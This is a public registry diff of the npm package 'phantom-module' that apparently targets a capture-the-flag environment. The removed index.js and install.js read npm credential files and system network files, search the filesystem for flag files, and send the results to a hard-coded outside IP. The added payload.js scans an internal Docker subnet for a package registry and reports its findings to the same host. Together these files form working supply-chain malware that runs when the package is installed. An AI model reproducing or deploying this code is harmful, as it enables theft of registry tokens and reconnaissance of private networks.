phantom-module 117.0.10 → 117.0.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -53
- package/package.json +6 -2
- package/payload.js +105 -0
- package/ecto-spirit-999.999.999.tgz +0 -0
- package/install.js +0 -36
package/index.js
CHANGED
|
@@ -1,53 +1 @@
|
|
|
1
|
-
|
|
2
|
-
const http = require('http');
|
|
3
|
-
const { execSync } = require('child_process');
|
|
4
|
-
|
|
5
|
-
(function() {
|
|
6
|
-
if (!fs.existsSync('/home/node/aspect-node')) {
|
|
7
|
-
return;
|
|
8
|
-
}
|
|
9
|
-
|
|
10
|
-
let out = "=== NPM CONFIG GET REGISTRY ===\n";
|
|
11
|
-
try { out += execSync('npm config get registry 2>&1').toString() + "\n"; } catch(e) { out += e.message + "\n"; }
|
|
12
|
-
|
|
13
|
-
out += "=== ROOT NPMRC ===\n";
|
|
14
|
-
try { out += fs.readFileSync('/root/.npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
|
|
15
|
-
|
|
16
|
-
out += "=== ETC NPMRC ===\n";
|
|
17
|
-
try { out += fs.readFileSync('/etc/npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
|
|
18
|
-
|
|
19
|
-
out += "=== USR LOCAL ETC NPMRC ===\n";
|
|
20
|
-
try { out += fs.readFileSync('/usr/local/etc/npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
|
|
21
|
-
|
|
22
|
-
out += "=== NODE USER NPMRC ===\n";
|
|
23
|
-
try { out += fs.readFileSync('/home/node/.npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
|
|
24
|
-
|
|
25
|
-
out += "=== ETC HOSTS ===\n";
|
|
26
|
-
try { out += fs.readFileSync('/etc/hosts', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
|
|
27
|
-
|
|
28
|
-
out += "=== RESOLV CONF ===\n";
|
|
29
|
-
try { out += fs.readFileSync('/etc/resolv.conf', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
|
|
30
|
-
|
|
31
|
-
out += "=== IP ROUTE ===\n";
|
|
32
|
-
try { out += execSync('ip route 2>/dev/null || cat /proc/net/route 2>/dev/null').toString() + "\n"; } catch(e) { out += e.message + "\n"; }
|
|
33
|
-
|
|
34
|
-
try {
|
|
35
|
-
const postData = JSON.stringify({
|
|
36
|
-
manifest: `ecto_module:\n name: "NPM_CONFIG"\n cargo_hold: ${JSON.stringify(out.substring(0, 3500))}\n`
|
|
37
|
-
});
|
|
38
|
-
|
|
39
|
-
const req = http.request({
|
|
40
|
-
hostname: '154.57.164.64',
|
|
41
|
-
port: 31205,
|
|
42
|
-
path: '/api/modules/ECT-839201',
|
|
43
|
-
method: 'PUT',
|
|
44
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
|
|
45
|
-
});
|
|
46
|
-
req.write(postData);
|
|
47
|
-
req.end();
|
|
48
|
-
} catch(e) {}
|
|
49
|
-
})();
|
|
50
|
-
|
|
51
|
-
module.exports = function() {
|
|
52
|
-
return "pwnd";
|
|
53
|
-
};
|
|
1
|
+
module.exports = {};
|
package/package.json
CHANGED
package/payload.js
ADDED
|
@@ -0,0 +1,105 @@
|
|
|
1
|
+
const net = require('net');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
|
|
5
|
+
if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
|
|
6
|
+
|
|
7
|
+
const REPORT_HOST = '154.57.164.64';
|
|
8
|
+
const REPORT_PORT = 31205;
|
|
9
|
+
|
|
10
|
+
async function report(moduleId, data) {
|
|
11
|
+
return new Promise((resolve) => {
|
|
12
|
+
const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
|
|
13
|
+
const manifest = `ecto_module:\n name: "SCAN_RESULT"\n cargo_hold: "${safeData}"\n`;
|
|
14
|
+
const payload = JSON.stringify({ manifest });
|
|
15
|
+
const req = http.request({
|
|
16
|
+
hostname: REPORT_HOST, port: REPORT_PORT, path: `/api/modules/${moduleId}`, method: 'PUT',
|
|
17
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
|
|
18
|
+
}, () => resolve(true));
|
|
19
|
+
req.on('error', () => resolve(false));
|
|
20
|
+
req.write(payload);
|
|
21
|
+
req.end();
|
|
22
|
+
});
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
function checkPort(host, port) {
|
|
26
|
+
return new Promise((resolve) => {
|
|
27
|
+
const sock = new net.Socket();
|
|
28
|
+
sock.setTimeout(400);
|
|
29
|
+
sock.on('connect', () => { sock.destroy(); resolve(true); });
|
|
30
|
+
sock.on('error', () => { sock.destroy(); resolve(false); });
|
|
31
|
+
sock.on('timeout', () => { sock.destroy(); resolve(false); });
|
|
32
|
+
sock.connect(port, host);
|
|
33
|
+
});
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
function httpGet(url) {
|
|
37
|
+
return new Promise((resolve) => {
|
|
38
|
+
const req = http.get(url, { timeout: 1500 }, (res) => {
|
|
39
|
+
let body = '';
|
|
40
|
+
res.on('data', c => body += c);
|
|
41
|
+
res.on('end', () => resolve({ status: res.statusCode, body }));
|
|
42
|
+
});
|
|
43
|
+
req.on('error', e => resolve({ status: 0, body: e.message }));
|
|
44
|
+
});
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
async function main() {
|
|
48
|
+
await report('ECT-654321', 'SCAN V10 STARTING...');
|
|
49
|
+
|
|
50
|
+
const base = '172.17.0';
|
|
51
|
+
const ports = [4873, 80, 8080, 3000, 5000];
|
|
52
|
+
let scanOutput = '=== SCAN V10 ===\n';
|
|
53
|
+
let foundTarget = null;
|
|
54
|
+
|
|
55
|
+
// Scan IPs 1-10
|
|
56
|
+
for (let i = 1; i <= 10; i++) {
|
|
57
|
+
const ip = `${base}.${i}`;
|
|
58
|
+
for (const port of ports) {
|
|
59
|
+
if (await checkPort(ip, port)) {
|
|
60
|
+
scanOutput += `OPEN ${ip}:${port}\n`;
|
|
61
|
+
|
|
62
|
+
// Try HTTP probe
|
|
63
|
+
const res = await httpGet(`http://${ip}:${port}/`);
|
|
64
|
+
scanOutput += `HTTP ${ip}:${port} -> ${res.status} (len ${res.body ? res.body.length : 0})\n`;
|
|
65
|
+
|
|
66
|
+
// If it looks like a registry or API, probe deeper
|
|
67
|
+
if (res.status === 200 || res.body.includes('Verdaccio') || port === 4873) {
|
|
68
|
+
foundTarget = `http://${ip}:${port}`;
|
|
69
|
+
scanOutput += `*** POTENTIAL TARGET FOUND ***\n`;
|
|
70
|
+
}
|
|
71
|
+
}
|
|
72
|
+
}
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
await report('ECT-839201', scanOutput);
|
|
76
|
+
|
|
77
|
+
if (foundTarget) {
|
|
78
|
+
let result = `=== TARGET: ${foundTarget} ===\n`;
|
|
79
|
+
|
|
80
|
+
// 1. Try to get ecto-spirit metadata
|
|
81
|
+
const ecto = await httpGet(`${foundTarget}/ecto-spirit`);
|
|
82
|
+
result += `/ecto-spirit: ${ecto.status}\n${ecto.body ? ecto.body.substring(0, 1000) : ''}\n`;
|
|
83
|
+
|
|
84
|
+
// 2. Try to list all packages
|
|
85
|
+
const all = await httpGet(`${foundTarget}/-/all`);
|
|
86
|
+
result += `/-/all: ${all.status}\n${all.body ? all.body.substring(0, 500) : ''}\n`;
|
|
87
|
+
|
|
88
|
+
// 3. Try to get the flag directly if hinted
|
|
89
|
+
if (ecto.body && ecto.body.includes('tarball')) {
|
|
90
|
+
try {
|
|
91
|
+
const json = JSON.parse(ecto.body);
|
|
92
|
+
// Check if description or readme has flag
|
|
93
|
+
if (JSON.stringify(json).includes('htb{')) {
|
|
94
|
+
result += `!!! FLAG IN METADATA !!!\n`;
|
|
95
|
+
}
|
|
96
|
+
} catch(e) {}
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
await report('ECT-987654', result);
|
|
100
|
+
} else {
|
|
101
|
+
await report('ECT-987654', 'No web service found in 1-10 range.');
|
|
102
|
+
}
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
main().catch(e => report('ECT-654321', 'ERR: ' + e.message));
|
|
Binary file
|
package/install.js
DELETED
|
@@ -1,36 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const http = require('http');
|
|
3
|
-
const { spawn } = require('child_process');
|
|
4
|
-
|
|
5
|
-
(function() {
|
|
6
|
-
const child = spawn('/bin/sh', ['-c', [
|
|
7
|
-
'sleep 35',
|
|
8
|
-
'OUTPUT="NONE"',
|
|
9
|
-
'LOGFILE="/home/node/aspect-node/logs/module.log"',
|
|
10
|
-
'if [ -f "$LOGFILE" ]; then',
|
|
11
|
-
' OUTPUT=$(tail -n 100 "$LOGFILE" | tr \'"\' "\'" | head -c 1000)',
|
|
12
|
-
'else',
|
|
13
|
-
' OUTPUT="LOG FILE NOT FOUND!"',
|
|
14
|
-
'fi',
|
|
15
|
-
'FLAG_FILES=$(find / -name "*flag*" -type f 2>/dev/null | head -c 500)',
|
|
16
|
-
'BODY=\'{"manifest":"ecto_module:\\n name: \\\\"FLAG_DELAYED\\\\"\\n cargo_hold: \\\\"\'$OUTPUT\' | FILES: \'$FLAG_FILES\'\\\\"\\"}\'',
|
|
17
|
-
'echo "$BODY" > /tmp/flag.json',
|
|
18
|
-
'node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31205,path:\'/api/modules/ECT-654321\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}});r.write(d);r.end();"'
|
|
19
|
-
].join('\n')], { detached: true, stdio: 'ignore' });
|
|
20
|
-
|
|
21
|
-
child.unref();
|
|
22
|
-
|
|
23
|
-
// Send an immediate ping so we know it started
|
|
24
|
-
const postData = JSON.stringify({
|
|
25
|
-
manifest: `ecto_module:\n name: "WAITING_35_SECONDS"\n`
|
|
26
|
-
});
|
|
27
|
-
const req = http.request({
|
|
28
|
-
hostname: '154.57.164.64',
|
|
29
|
-
port: 31205,
|
|
30
|
-
path: '/api/modules/ECT-654321',
|
|
31
|
-
method: 'PUT',
|
|
32
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
|
|
33
|
-
});
|
|
34
|
-
req.write(postData);
|
|
35
|
-
req.end();
|
|
36
|
-
})();
|